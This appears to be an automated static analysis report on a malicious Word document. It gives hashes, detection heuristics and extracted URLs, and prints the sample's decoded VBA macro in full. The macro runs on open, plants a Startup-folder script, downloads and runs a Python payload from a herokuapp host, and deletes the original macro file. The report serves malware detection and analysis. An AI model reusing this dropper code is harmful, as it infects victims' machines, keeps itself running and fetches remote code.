Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 845d580cf91c90ae…

MALICIOUS

Office (OOXML)

20.4 KB Created: 2021-01-15 21:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-09
MD5: bd2ade3d868b9eab03c7356ab196856c SHA-1: de8c77e63f2187f7e289dcb0af835927758b853b SHA-256: 845d580cf91c90ae9199d850da8debaeaaf288e5e93006306e2cf59340170c65
390 Risk Score

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        oFile.WriteLine "Set oShell = CreateObject (""WScript.Shell"") "
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        oFile.WriteLine "        .write xHttp.responseBody"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set fso = CreateObject("Scripting.FileSystemObject")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        oFile.WriteLine "   oShell.run ""cmd.exe /C "" & unzip, False, 0"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://specialny-format.herokuapp.com/upload/python.zip Referenced by macro
    • https://specialny-format.herokuapp.com/upload/7za.exeReferenced by macro
    • https://specialny-format.herokuapp.com/upload/service.pywReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3692 bytes
SHA-256: 7b3004ea4df55c2eece949bab8805169f36d1685a8aaf3d2933195952916a64a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    Dim fso As Object
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set oFile = fso.CreateTextFile("C:\Users\" + Application.UserName + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\net_service.vbs")
    oFile.WriteLine "Dim username"
    oFile.WriteLine "Dim unzip"
    oFile.WriteLine "Set fso = CreateObject(""Scripting.FileSystemObject"")"
    oFile.WriteLine "Set oShell = CreateObject (""WScript.Shell"") "
    oFile.WriteLine "username = CreateObject(""WScript.Network"").UserName"
    oFile.WriteLine "unzip = ""cd C:\Users\%username%\AppData\Local\Programs\ && 7za.exe x python.zip -oC:\Users\%username%\AppData\Local\Programs\Python -aoa"""
    oFile.WriteLine "Sub Download(ByVal Url, ByVal Path)"
    oFile.WriteLine "   dim xHttp: Set xHttp = createobject(""Microsoft.XMLHTTP"")"
    oFile.WriteLine "   dim bStrm: Set bStrm = createobject(""Adodb.Stream"")"
    oFile.WriteLine "    xHttp.Open ""GET"", Url, False"
    oFile.WriteLine "    xHttp.Send"
    oFile.WriteLine "    with bStrm"
    oFile.WriteLine "        .type = 1"
    oFile.WriteLine "        .open"
    oFile.WriteLine "        .write xHttp.responseBody"
    oFile.WriteLine "        .savetofile Path, 2"
    oFile.WriteLine "    end with"
    oFile.WriteLine "End Sub"
    oFile.WriteLine "Sub MkDir(ByVal FullPath)"
    oFile.WriteLine "    If Not fso.FolderExists(FullPath) Then"
    oFile.WriteLine "        MkDir fso.GetParentFolderName(FullPath)"
    oFile.WriteLine "        fso.CreateFolder FullPath"
    oFile.WriteLine "    End If"
    oFile.WriteLine "End Sub"
    oFile.WriteLine "If Not(fso.FileExists(""C:\Users\"" & username & ""\AppData\Local\NetService\service.pyw"")) Then"
    oFile.WriteLine "   MkDir ""C:\Users\"" & username & ""\AppData\Local\Programs\"""
    oFile.WriteLine "   MkDir ""C:\Users\"" & username & ""\AppData\Local\NetService\"""
    oFile.WriteLine "   Download ""https://specialny-format.herokuapp.com/upload/python.zip"", ""C:\Users\"" & username & ""\AppData\Local\Programs\python.zip"""
    oFile.WriteLine "   Download ""https://specialny-format.herokuapp.com/upload/7za.exe"", ""C:\Users\"" & username & ""\AppData\Local\Programs\7za.exe"""
    oFile.WriteLine "   oShell.run ""cmd.exe /C "" & unzip, False, 0"
    oFile.WriteLine "   Download ""https://specialny-format.herokuapp.com/upload/service.pyw"", ""C:\Users\"" & username & ""\AppData\Local\NetService\service.pyw"""
    oFile.WriteLine "   Set file = fso.CreateTextFile(""C:\Users\"" & username & ""\AppData\Local\NetService\start_service.bat"", True)"
    oFile.WriteLine "   file.Write ""cd C:\Users\%username%\AppData\Local\Programs\Python\Python39\"" & vbCrLf"
    oFile.WriteLine "   file.Write ""python C:\Users\%username%\AppData\Local\NetService\service.pyw"" & vbCrLf"
    oFile.WriteLine "   file.Close"
    oFile.WriteLine "   "
    oFile.WriteLine "   WScript.Sleep 10000"
    oFile.WriteLine "End If"
    oFile.WriteLine "CreateObject(""Wscript.Shell"").Run ""C:/Users/"" & username & ""/AppData/Local/NetService/start_service.bat"", 0, False"
    oFile.Close
    
    ActiveDocument.SaveAs2 FileName:=Left(ActiveDocument.FullName, Len(ActiveDocument.FullName) - 5) & ".docx", _
    FileFormat:=wdFormatXMLDocument
    Kill Left(ActiveDocument.FullName, Len(ActiveDocument.FullName) - 5) & ".docm"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 05f089b3efb7a31f43b0bf540a3f82de7691ec56e3a84ce227091126171bd512
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.